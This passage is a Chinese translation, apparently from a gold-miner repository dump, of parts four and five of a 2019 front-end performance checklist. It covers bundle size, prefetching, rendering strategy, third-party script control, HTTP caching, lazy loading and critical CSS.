CSS](http://blog.cowchimp.com/monitoring-unused-css-by-unleashing-the-devtools-protocol/)。\n\n此外，[purgecss](https://github.com/FullHuman/purgecss)、[UnCSS](https://github.com/giakki/uncss) 和 [Helium](https://github.com/geuis/helium-css) 可以帮助你从 CSS 中删除未使用的样式。如果你不确定是否在某处使用了可疑的代码，可以遵循 [Harry Roberts 的建议](https://csswizardry.com/2018/01/finding-dead-css/)：为该 class 创建 1×1px 透明 GIF 并将其放入 `dead/` 目录，例如：`/assets/img/dead/comments.gif`。然后，将该特定图像设置为 CSS 中相应选择器的背景，然后静候几个月，查看该文件能否出现在你的日志中。如果日志里没出现该条目，则没有人使用该遗留组件：你可以继续将其全部删除。\n\n对于爱冒险的人，你甚至可以通过使用 [DevTools 监控 DevTools](http://blog.cowchimp.com/monitoring-unused-css-by-unleashing-the-devtools-protocol/)，通过一组页面自动收集未使用的 CSS。\n\n#### 33. 减小 JavaScript 包的大小\n\n正如 Addy Osmani [指出的](https://medium.com/@addyosmani/the-cost-of-javascript-in-2018-7d8950fbb5d4)那样，当你只需要一小部分时，你很可能会发送完整的 JavaScript 库，以及提供给不需要它们的浏览器的过时 polyfill，或者只是重复代码。为避免额外开销，请考虑使用 [webpack-libs-optimization](https://github.com/GoogleChromeLabs/webpack-libs-optimizations)，在构建过程中删除未使用的方法和 polyfill。\n\n将打包审计添加到常规工作流程中。有一些你在几年前添加的重型库的轻量级替代品，例如：Moment.js 可以用 [date-fns](https://github.com/date-fns/date-fns) 或 [Luxon](https://moment.github.io/luxon/) 代替。Benedikt Rötsch 的研究[表明](https://www.contentful.com/blog/2017/10/27/put-your-webpack-bundle-on-a-diet-part-3/)，从 Moment.js 到 date-fns 的转换可能会使 3G 和低端手机上的首次绘制时间减少大约 300ms。\n\n这就是 [Bundlephobia](https://bundlephobia.com/) 这样的工具可以帮助你找到在程序包中添加 npm 包的成本。你甚至可以[将这些成本与 Lighthouse Custom Audit 相结合](https://github.com/AymenLoukil/Google-lighthouse-custom-audit)。这也适用于框架。通过删除或减小 [Vue MDC 适配器](https://speakerdeck.com/addyosmani/web-performance-made-easy?slide=22)（Vue 的 Material 组件），样式可以从 194KB 降至 10KB。\n\n喜欢冒险吗？你可以看看[Prepack](https://gist.github.com/gaearon/d85dccba72b809f56a9553972e5c33c4)。它将 JavaScript 编译为等效的 JavaScript 代码，但与 Babel 或 Uglify 不同，它允许你编写正常的 JavaScript 代码，并输出运行速度更快的等效 JavaScript 代码。\n\n除了传送整个框架包之外，你甚至可以修剪框架并将其编译为不需要额外代码的原始 JavaScript 包。[Svelte 做到了](https://svelte.technology/)，[Rawact Babel 插件](https://github.com/sokra/rawact)也是如此，它在构建时将 React.js 组件转换为原生 DOM 操作。 为什么？好吧，正如维护者解释的那样：“React-dom 包含可以渲染的每个可能组件/ HTMLElement 的代码，包括用于增量渲染、调度、事件处理等的代码。但是有些应用程序不需要所有这些功能（在初始页面加载时）。对于此类应用程序，使用原生 DOM 操作构建交互式用户界面可能是有意义的。”\n\n[![Webpack 比较](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e30c7d5b-ef8b-46ba-b0fc-b1d5a31cefff/webpack-comparison.png)](https://cdn-images-1.medium.com/max/2000/1*fdX-6h2HnZ_Mo4fBHflh2w.png) \n\n在 [Benedikt Rötsch 的文章中](https://www.contentful.com/blog/2017/10/27/put-your-webpack-bundle-on-a-diet-part-3/)，他表示，从 Moment.js 到 date-fns 的转换会使 3G 和低端手机上的首次绘制时间减少大约 300ms。（[预览大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e30c7d5b-ef8b-46ba-b0fc-b1d5a31cefff/webpack-comparison.png)）\n\n#### 34. 是否使用了 JavaScript 代码块的预测预获取？\n\n我们可以使用启发式方法来决定何时预加载 JavaScript 代码块。[Guess.js](https://github.com/guess-js/guess) 是一组工具和库，它使用 Google Analytics 的数据来确定用户最有可能从给定页面访问哪个页面。根据从 Google Analytics 或其他来源收集的用户导航模式，Guess.js 构建了一个机器学习模型，用于预测和预获取每个后续页面中所需的 JavaScript。\n\n因此，每个交互元素都接收参与的概率评分，并且基于该评分，客户端脚本决定提前预获取资源。你可以将该技术集成到 [Next.js](https://github.com/mgechev/guess-next) 应用程序、[Angular 和 React](https://blog.mgechev.com/2018/03/18/machine-learning-data-driven-bundling-webpack-javascript-markov-chain-angular-react/) 中，还有一个 [webpack 插件](https://github.com/guess-js/guess/tree/master/packages/guess-webpack)能够自动完成设置过程。\n\n显然，你可能会让浏览器预测到使用不需要的数据从而预获取到不需要的页面，因此最好在预获取请求的数量上保持绝对保守。一个好的用例是预获取结账中所需的验证脚本，或者当一个关键的 CTA（call-to-action）进入视口时的推测性预获取。\n\n需要不太复杂的东西？[Quicklink](https://github.com/GoogleChromeLabs/quicklink) 是一个小型库，可在空闲时自动预获取视口中的链接，以便加快下一页导航的加载速度。但是，它也考虑了数据流量，因此它不会在 2G 网络或者 `Data-Saver` 打开时预获取数据。\n\n#### 35. 从针对你的目标 JavaScript 引擎进行优化中获得好处\n\n研究哪些 JavaScript 引擎在你的用户群中占主导地位，然后探索针对这些引擎的优化方法。例如，在为 Blink 内核浏览器、Node.js 运行时和 Electron 中使用的 V8 进行优化时，使用[脚本流](https://blog.chromium.org/2015/03/new-javascript-techniques-for-rapid.html)来处理庞大的脚本。它允许在下载开始时在单独的后台线程上解析 `async` 或 `defer scripts`，因此在某些情况下可以将页面加载时间减少多达 10％。实际上，在 `<head>` 里[使用 `<script defer>`](https://medium.com/reloading/javascript-start-up-performance-69200f43b201#3498)，以便浏览器可以提前[发现资源](https://medium.com/reloading/javascript-start-up-performance-69200f43b201#3498)，然后在后台线程上解析它。\n\n**警告**：**Opera Mini [不支持脚本延迟](https://caniuse.com/search#=defer)，所以如果你正在为印度或非洲开发**，`defer` **将被忽略，这会导致阻止渲染，直到脚本执行完为止（感谢 Jeremy！）**。\n\n[![渐进式启动](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/ab06acd3-833a-4634-abf9-fc8d91939250/fmp-and-tti-opt.jpeg)](https://aerotwist.com/blog/when-everything-is-important-nothing-is/)\n\n[渐进式启动](https://aerotwist.com/blog/when-everything-is-important-nothing-is/)意味着使用服务器端渲染来获得快速的首次有效绘制，但也包括一些最小的 JavaScript，以保持首次交互时间接近首次有效绘制时间。\n\n#### 36. 使用客户端渲染还是服务器端渲染？\n\n在这两种情况下，我们的目标应该是设置[渐进式启动](https://aerotwist.com/blog/when-everything-is-important-nothing-is/)：使用服务器端渲染来获得快速的首次有效绘制，但也包括一些最小的必要 JavaScript，以保持首次交互时间接近首次有效绘制时间。如果 JavaScript 在首次有效绘制之后来得太晚，浏览器可能会在解析、编译和执行后期发现的 JavaScript 时[锁定主线程](https://davidea.st/articles/measuring-server-side-rendering-performance-is-tricky)，从而给[站点或应用程序的交互](https://philipwalton.com/articles/why-web-developers-need-to-care-about-interactivity/)带来枷锁。\n\n为避免这种情况，请始终将函数执行分解为独立的异步任务，并尽可能使用 `requestIdleCallback`。考虑使用 webpack 的[动态 `import()` 支持](https://developers.google.com/web/updates/2017/11/dynamic-import)，延迟加载 UI 的部分，降低加载、解析和编译成本，直到用户真正需要它们（**感谢 Addy！**）。\n\n从本质上讲，首次可交互时间（TTI）告诉我们导航和交互之间的时间。通过查看初始内容渲染后的前五秒窗口来定义度量标准，其中任何 JavaScript 任务都不会超过 50 毫秒。如果发生超过 50 毫秒的任务，则重新开始搜索五秒钟窗口。因此，浏览器将首先假设它已到达交互状态，然后切换到冻结状态，最终切换回交互状态。\n\n一旦我们到达交互状态，在按需或在时间允许的情况下，就可以启动应用程序的非必要部分。不幸的是，正如 [Paul Lewis 所注意到的那样](https://aerotwist.com/blog/when-everything-is-important-nothing-is/#which-to-use-progressive-booting)，框架通常没有提供给开发者优先级的概念，因此大多数库和框架都难以实现渐进式启动。如果你有时间和资源，请使用此策略最终提升性能。\n\n那么，客户端还是服务器端？如果用户没有明显的好处，[客户端渲染可能不是真正必要的](https://medium.com/@addyosmani/the-cost-of-javascript-in-2018-7d8950fbb5d4) —— 实际上，服务器端渲染的 HTML 可能更快。也许你甚至可以[使用静态站点生成器预渲染一些内容](https://jamstack.org/)，并将它们直接推送到 CDN，并在顶部添加一些 JavaScript。\n\n将客户端框架的使用限制为绝对需要它们的页面。如果做得不好，服务器渲染和客户端渲染是一场灾难。考虑在[构建时预渲染](https://github.com/GoogleChromeLabs/prerender-loader)和[动态 CSS 内联](https://github.com/GoogleChromeLabs/critters)，以生成生产就绪的静态文件。Addy Osmani 就可能值得关注的 [JavaScript 成本发表了精彩的演讲](https://www.youtube.com/watch?v=63I-mEuSvGA)。\n\n#### 37. 约束第三方脚本的影响\n\n通过所有性能优化，我们通常无法控制来自业务需求的第三方脚本。第三方脚本指标不受最终用户体验的影响，因此通常一个脚本最终会调用令人讨厌的冗长的第三方脚本，从而破坏了专门的性能工作。为了控制和减轻这些脚本带来的性能损失，仅仅异步加载它们（[可能是通过延迟](https://www.twnsnd.com/posts/performant_third_party_scripts.html)）并通过资源提示（如 `dns-prefetch` 或 `preconnect`）加速它们是不够的。\n\n正如 Yoav Weiss 在他[关于第三方脚本的必读观点](http://conffab.com/video/taking-back-control-over-third-party-content/)中所解释的那样，在许多情况下，这些脚本会下载动态的资源。资源在页面加载之间发生变化，因此我们没有必要知道从哪些主机下载资源以及这些资源是什么。\n\n你有哪些选择方案?考虑**使用 service worker，通过超时竞争资源下载**，如果资源在特定超时内没有响应，则返回空响应以告知浏览器继续解析页面。你还可以记录或阻止未成功或不符合特定条件的第三方请求。如果可以，请[从你自己的服务器](https://medium.com/caspertechteam/we-shaved-1-7-seconds-off-casper-com-by-self-hosting-optimizely-2704bcbff8ec)而不是从供应商的服务器加载第三方脚本。\n\n[![Casper.com 发布了一个详细的案例研究，说明他们如何通过自我托管的 Optimizely 将网站响应时间减少了 1.7 秒。它可能是值得的。](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/cf570272-840e-4cf8-92de-76808a12422c/casper-case-study-optimizely.png)](https://medium.com/caspertechteam/we-shaved-1-7-seconds-off-casper-com-by-self-hosting-optimizely-2704bcbff8ec) \n\nCasper.com 发布了一个详细的案例研究，说明他们如何通过自托管的 Optimizely 网站响应时间减少了 1.7 秒。这可能是值得的。（[图片来源](https://medium.com/caspertechteam/we-shaved-1-7-seconds-off-casper-com-by-self-hosting-optimizely-2704bcbff8ec)）（[预览大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/cf570272-840e-4cf8-92de-76808a12422c/casper-case-study-optimizely.png)）\n\n另一种选择是建立**内容安全策略**（CSP）以限制第三方脚本的影响，例如：不允许下载音频或视频。最好的选择是通过 `<iframe>` 嵌入脚本，以便脚本在 iframe 的上下文中运行，因此第三方脚本无法访问页面的 DOM，也无法在你的域上运行任意代码。使用 `sandbox` 属性可以进一步约束 iframe，那样你就可以禁用一切 iframe 可能执行的任何功能，例如：防止脚本运行、阻止警报、表单提交、插件、访问顶部导航等。\n\n比如，可能必须使用 `<iframe sandbox=\"allow-scripts\">` 来运行脚本。每个限制都可以通过 `sandbox` 属性上的各种 `allow` 值来解除（[几乎所有的浏览器都受支持](https://caniuse.com/#search=sandbox)），因此将它们限制在应该允许的最低限度。\n\n考虑使用 Intersection Observer；这将使广告仍然在 iframe 中，但是可以调度事件或从 DOM 获取所需信息（例如，广告可见性）。可以关注一些新的策略，例如[功能策略](https://www.smashingmagazine.com/2018/12/feature-policy/)，资源大小限制和 CPU/带宽优先级，以限制可能会降低浏览器速度的有害 Web 功能和脚本，例如：同步脚本、同步 XHR 请求、`document.write` 和过时的实现。\n\n要对[第三方进行压力测试](https://csswizardry.com/2017/07/performance-and-resilience-stress-testing-third-parties/)，请检查 DevTools 中性能配置文件页面中的自下而上的摘要，测试如果请求被阻止或超时的情况会发生什么 —— 对于后者，你可以使用 WebPageTest 的 Blackhole 服务器 `blackhole.webpagetest.org`，它可以将特定域指向你的 `hosts` 文件。最好是[自托管并使用单一主机名](https://www.twnsnd.com/posts/performant_third_party_scripts.html)，但也可以[生成一个请求映射](https://www.soasta.com/blog/10-pro-tips-for-managing-the-performance-of-your-third-party-scripts/)，该映射公开第四方调用并检测脚本何时更改。你可以使用 Harry Roberts 的[方法审核第三方](https://csswizardry.com/2018/05/identifying-auditing-discussing-third-parties/)，并生成[类似这样](https://docs.google.com/spreadsheets/d/1uTcRSoJAkXfIm2yfG5hvCSzvSZD9fAwXNQMVK3HdPMI/edit#gid=0)的电子表格。Harry 还在他[关于第三方性能和审计的讨论中](https://www.youtube.com/watch?v=bmIUYBNKja4)解释了审计工作流程。\n\n![请求阻止](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/b1e12dad-ea64-430e-b3db-b67fb76029d8/block-request-url-image-opt.png)\n\n图片来源: [Harry Roberts](https://csswizardry.com/2017/07/performance-and-resilience-stress-testing-third-parties/#request-blocking)\n\n#### 38. 设置 HTTP 缓存标头\n\n仔细检查是否已正确设置 `expires`、`max-age`、`cache-control` 和其他 HTTP 缓存头。通常，资源无论在[短时间内（如果它们可能会更改）还是无限期（如果它们是静态的）](https://jakearchibald.com/2016/caching-best-practices/)情况下都是可缓存的 —— 你只需在需要时在 URL 中更改它们的版本。禁用 `Last-Modified` 标头，因为任何带有它的静态资源都将导致带有 `If-Modified-Since` 标头的条件请求，即使资源位于缓存中也是如此。`Etag` 也是如此。\n\n使用使用专为指纹静态资源设计的 `Cache-control：immutable`，以避免重新验证（截至 2018 年 12 月，[Firefox、Edge 和 Safari 都已经支持该功能](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control); Firefox 仅支持 `https：//` 事务）。事实上，“在 HTTP 存档中的所有页面中，2％ 的请求和 30％ 的网站似乎[包含至少 1 个不可变响应](https://discuss.httparchive.org/t/cache-control-immutable-a-year-later/1195)。此外，大多数使用它的网站都设置了具有较长新鲜生命周期的静态资源。”\n\n还记得 [stale-while-revalidate](https://www.fastly.com/blog/stale-while-revalidate-stale-if-error-available-today) 吗？你可能知道，我们使用 `Cache-Control` 响应头指定缓存时间，例如：`Cache-Control: max-age=604800`。经过 604800 秒后，缓存将重新获取所请求的内容，从而导致页面加载速度变慢。通过使用 `stale-while-revalidate` 可以避免这种速度变慢的问题。它本质上定义了一个额外的时间窗口，在此期间缓存可以使用旧的静态资源，只要它在异步地在后台重新验证自己。因此，它“隐藏了”来自客户端的延迟（在网络和服务器上）。\n\n在 2018 年 10 月，Chrome 发布了一个[意图](https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/rspPrQHfFkI/discussion) 在 HTTP Cache-Control 标头中对 `stale-while-revalidate` 的处理，因此，它应该会改善后续页面加载延迟，因为旧的静态文件不再位于关键路径中。结果：[重复访问页面的 RTT 为零](https://twitter.com/RyanTownsend/status/1072443651844911104)。 \n\n你可以使用 [Heroku 的 HTTP 缓存标头入门](https://devcenter.heroku.com/articles/increasing-application-performance-with-http-cache-headers)，Jake Archibald 的“[缓存最佳实践](https://jakearchibald.com/2016/caching-best-practices/)”和Ilya Grigorik 的 [HTTP 缓存入门](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching?hl=en)作为指南。另外，要注意[标头的变化](https://www.smashingmagazine.com/2017/11/understanding-vary-header/)，特别是[与 CDN 相关的标头](https://www.fastly.com/blog/getting-most-out-vary-fastly)，并注意 [Key 标头](https://www.greenbytes.de/tech/webdav/draft-ietf-httpbis-key-latest.html)，这有助于避免当新请求与先前请求略有差异（但不显着）时，需要进行额外的往返验证（**感谢 Guy！**）。\n\n另外，请仔细检查你是否发送了[不必要的标头](https://www.fastly.com/blog/headers-we-dont-want)（例如 `x-powered-by`、`pragma`、`x-ua-compatible`、`expires` 等），并且包含有用的[安全性和性能标头](https://www.fastly.com/blog/headers-we-want)（例如 `Content-Security-Policy`, `X-XSS-Protection`, `X-Content-Type-Options` 等）。最后，请记住单页应用程序中 [CORS 请求的性能成本](https://medium.com/@ankur_anand/the-terrible-performance-cost-of-cors-api-on-the-single-page-application-spa-6fcf71e50147)。\n\n> - [译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)\n> - [译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)\n> - [译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)\n> - **[译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)**\n> - [译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)\n> - [译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/front-end-performance-checklist-2019-pdf-pages-5.md",
    "content": "> * 原文地址：[Front-End Performance Checklist 2019 — 5](https://www.smashingmagazine.com/2019/01/front-end-performance-checklist-2019-pdf-pages/)\n> * 原文作者：[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)\n> * 译者：[wznonstop](https://github.com/wznonstop)\n> * 校对者：[TUARAN](https://github.com/TUARAN), [xilihuasi](https://github.com/xilihuasi)\n\n# 2019 前端性能优化年度总结 — 第五部分\n\n让 2019 来得更迅速吧！你正在阅读的是 2019 年前端性能优化年度总结，始于 2016。\n\n> - [译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)\n> - [译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)\n> - [译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)\n> - [译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)\n> - **[译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)**\n> - [译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)\n\n#### 目录\n\n- [交付优化](#交付优化)\n  - [39. 是否所有的 JavaScript 库都采用了异步加载？](#39-所有的-JavaScript-库是否都采用了异步的方式加载)\n  - [40. 使用 IntersectionObserver 加载开销大的组件](#40-使用-intersectionobserver-加载大型组件)\n  - [41. 渐进式加载图片](#41-渐进式加载图片)\n  - [42. 是否发送了关键的 css？](#42-你是否发送了关键的-css)\n  - [43. 尝试重组 CSS 规则](#43-尝试重组-CSS-规则)\n  - [44. 有没有将请求设为 stream？](#44-你有没有将请求设为-stream)\n  - [45. 考虑使组件具有连接感知能力](#45-考虑使组件具有连接感知能力)\n  - [46. 考虑使组件具有设备内存感知能力](#46-考虑使组件具有设备内存感知能力)\n  - [47. 做好连接的热身准备以加速交付](#47-做好连接的热身准备以加速交付)\n  - [48. 使用 service workers 进行缓存和网络后备方案](#48-使用-service-workers-进行缓存和网络后备方案)\n  - [49. 是否在 CDN/Edge 上使用了 service workers，例如，用于 A/B 测试？](#49-是否在-cdnedge-上使用了-service-workers例如用于-ab-测试)\n  - [50. 优化渲染性能](#50-优化渲染性能)\n  - [51. 是否优化了渲染体验？](#51-是否优化了渲染体验)\n\n### 交付优化\n\n#### 39. 是否所有的 JavaScript 库都采用了异步加载？\n\n当用户请求页面时，浏览器获取 HTML 并构造 DOM，然后获取 CSS 并构造 CSSOM，然后通过匹配 DOM 和 CSSOM 生成渲染树。一旦出现需要解析的 JavaScript，浏览器将停止渲染，直到 JavaScript 被解析完成，从而造成渲染延迟。作为开发人员，我们必须明确告诉浏览器不要等待 JS 解析，直接渲染页面。对脚本执行此操作的方法是使用 HTML 中的 `defer` 和 `async` 属性。\n\n在实践中，事实证明我们应该[更倾向于使用 `defer`](http://calendar.perfplanet.com/2016/prefer-defer-over-async/)。使用 `async` 的话，[Internet Explorer 9 及其之前的版本有兼容性问题](https://github.com/h5bp/lazyweb-requests/issues/42)，可能会破坏它们的脚本。根据[Steve Souders 的讲述](https://youtu.be/RwSlubTBnew?t=1034)，一旦 `async` 脚本加载完成，它们就会立即执行。如果这种情况发生得非常快，例如当脚本处于缓存中时，它实际上可以阻止 HTML 解析器。使用 `defer` 的话，浏览器在解析 HTML 之前不会执行脚本。因此，除非在开始渲染之前需要执行 JavaScript，否则最好使用 `defer`。\n\n此外，如上所述，限制第三方库和脚本的可能造成的影响，尤其是社交分享按钮和嵌入式 `<iframe>`（如地图）。[Size Limit 库](https://github.com/ai/size-limit)可以帮助[防止 JavaScript 库过大](https://evilmartians.com/chronicles/size-limit-make-the-web-lighter) ：如果不小心添加了一个大的依赖项，该工具将通知你并抛出错误。可以使用[静态的社交分享按钮](https://www.savjee.be/2015/01/Creating-static-social-share-buttons/)（例如 [SSBG](https://simplesharingbuttons.com)）和[交互式地图的静态链接](https://developers.google.com/maps/documentation/static-maps/intro)。\n\n也可以试着[修改非阻塞脚本加载器以实现 CSP 合规性](https://calendar.perfplanet.com/2018/a-csp-compliant-non-blocking-script-loader/)。\n\n#### 40. 使用 IntersectionObserver 加载大型组件\n\n一般来说，延迟加载所有大型组件是一个好主意，例如大体积的 JavaScript、视频、iframe、小部件和潜在的图像。最高效的方法是使用[Intersection Observer API](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API)，它对具有祖先元素或顶级文档视口的目标元素提供了一种异步观察交叉点变化的方法。基本用法是，创建一个新的 `IntersectionObserver` 对象，该对象接收回调函数和配置对象。然后再添加一个观察目标就可以了。\n\n回调函数在目标变为可见或不可见时执行，因此当它截取视窗时，可以在元素变为可见之前开始执行某些操作。实际上，我们使用了 `rootMargin`（根周围的边距）和 `threshold`（单个数字或数字数组，表示目标可见性的百分比）对何时调用回调函数进行精确控制。\n\nAlejandro Garcia Anglada 发表了一篇关于如何将其应用到实践中的[简易教程](https://medium.com/@aganglada/intersection-observer-in-action-efc118062366)，Rahul Nanwani 写了一篇关于[延迟加载前景和背景图片的详细文章](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)，Google Fundamentals 提供了[关于 Intersection Observer 延迟加载图像和视频的详细教程](https://developers.google.com/web/fundamentals/performance/lazy-loading-guidance/images-and-video/)。还记得使用动静结合的物体进行艺术指导的长篇故事吗？你也可以使用 Intersection Observer 实现[高性能的滚动型讲述](https://github.com/russellgoldenberg/scrollama)。\n\n另外，请注意 [`lazyload` 属性](https://css-tricks.com/a-native-lazy-load-for-the-web-platform/)，它将允许我们以原生的方式指定哪些图像和 `iframe` 应该是延迟加载。[功能说明：LazyLoad ](https://www.chromestatus.com/feature/5641405942726656)将提供一种机制，允许我们强制在每个域的基础上选择加入或退出 LazyLoad 功能（类似于[内容安全政策](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)的功能。惊喜：一旦启用，[优先提示 priority hints](https://twitter.com/csswizardry/status/1050717710525509633) 将允许我们在标题中指定脚本和预加载资源的权重（目前已在 Chrome Canary 中实现）。\n\n#### 41. 渐进式加载图片\n\n你甚至可以通过向页面添加[渐进式图像加载技术](https://calendar.perfplanet.com/2017/progressive-image-loading-using-intersection-observer-and-sqip/)将延迟加载提升到新的水平。与 Facebook，Pinterest 和 Medium 类似，可以先加载质量较差甚至模糊的图像，然后在页面继续加载时，使用 Guy Podjarny 提出的 [LQIP（低质量图像占位符）技术](https://www.guypo.com/introducing-lqip-low-quality-image-placeholders)将其替换为原图。\n\n对于这项技术是否提升了用户体验，大家各执一词，但它一定缩短了第一次有效的绘图时间。我们甚至可以使用 [SQIP](https://github.com/technopagan/sqip) 将其创建为 SVG 占位符或带有 CSS 线性渐变的[渐变图像占位符](https://calendar.perfplanet.com/2018/gradient-image-placeholders/)。这些占位符可以嵌入 HTML 中，因为它们可以使用文本压缩方法自然地压缩。Dean Hume 在他的文章中[描述了](https://calendar.perfplanet.com/2017/progressive-image-loading-using-intersection-observer-and-sqip/) 如何使用 Intersection Observer 实现此技术。\n\n浏览器支持怎么样呢？[主流浏览器](https://caniuse.com/#feat=intersectionobserver)、Chrome、Firefox、Edge 和三星的浏览器均有支持。WebKit 状态目前已在[预览中支持](https://webkit.org/status/#specification-intersection-observer)。如何优雅降级？如果浏览器不支持 intersection observer，我们仍然可以使用 [polyfill](https://github.com/jeremenichelli/intersection-observer-polyfill) 来[延迟加载](https://medium.com/@aganglada/intersection-observer-in-action-efc118062366)或立即加载图像。甚至有一个[库](https://github.com/ApoorvSaxena/lozad.js)可以用来实现它。\n\n想成为一名发烧友？你可以[追踪你的图像](https://jmperezperez.com/svg-placeholders/)并使用原始形状和边框来创建一个轻量级的 SVG 占位符，首先加载它，然后把占位符矢量图像转换为（已加载的）位图图像。\n\n[![José M. Pérez 的 SVG 延迟加载技术](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/f7f56052-6abb-4d18-a5aa-8d84102d812e/jmperez-composition-primitive-full.jpg)](https://jmperezperez.com/svg-placeholders/) \n\n[José M. Pérez](https://jmperezperez.com/svg-placeholders/)的 SVG 延迟加载技术。（[大图预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/f7f56052-6abb-4d18-a5aa-8d84102d812e/jmperez-composition-primitive-full.jpg)）\n\n#### 42. 你是否发送了关键的 css？\n\n为了确保浏览器尽快开始渲染页面，[通常做法是](https://www.smashingmagazine.com/2015/08/understanding-critical-css/)收集开始渲染页面的第一个可见部分所需的所有 CSS（称为“关键 CSS”或“首页 CSS”）并将其以内联的形式添加到页面的 “<head>” 中，从而减少往返请求。由于在慢启动阶段交换的包的大小有限，因此关键 CSS 的预算大小约为 14 KB。\n\n如果超出此范围，浏览器将需要额外的开销来获取更多样式。[CriticalCSS](https://github.com/filamentgroup/criticalCSS) 和 [Critical](https://github.com/addyosmani/critical) 使你能够做到这一点。你可能需要为正在使用的每个模板执行此操作。如果可能的话，请考虑使用 Filament Group 使用的[条件内联方法](https://www.filamentgroup.com/lab/modernizing-delivery.html)，或[动态地将内联代码转换为静态资源](https://www.smashingmagazine.com/2018/11/pitfalls-automatically-inlined-code/)。\n\n使用 HTTP/2，关键的 CSS 可以存储在单独的 CSS 文件中，并通过[服务器推送](https://www.filamentgroup.com/lab/modernizing-delivery.html)传送，而不会增加 HTML 的大小。问题是，服务器推送[很麻烦](https://twitter.com/jaffathecake/status/867699157150117888) ，浏览器存在许多陷阱和竞争条件。往往并不能始终支持，且伴有一些缓存问题（参见[ Hooman Beheshti 演示文稿幻灯片的 114 页](http://www.slideshare.net/Fastly/http2-what-no-one-is-telling-you)）。事实上，这种影响可能是[负面的](https://jakearchibald.com/2017/h2-push-tougher-than-i-thought/)，它会使网络缓冲区膨胀，从而导致文档中真实帧的传递被阻止。此外，由于 TCP 启动缓慢，服务器推送似乎[在热连接上更有效](https://docs.google.com/document/d/1K0NykTXBbbbTlv60t5MyJvXjqKGsCVNYHyLEXIxYMv0/edit)。\n\n即使使用 HTTP/1，将关键 CSS 放在根域名下的单独文件中[也是有好处的](http://www.jonathanklein.net/2014/02/revisiting-cookieless-domain.html)，由于缓存的原因，有时甚至比内联更优。Chrome 在请求页面时会尝试打开根域名下的第二个 HTTP 连接，从而无需 TCP 连接来获取此 CSS（**感谢 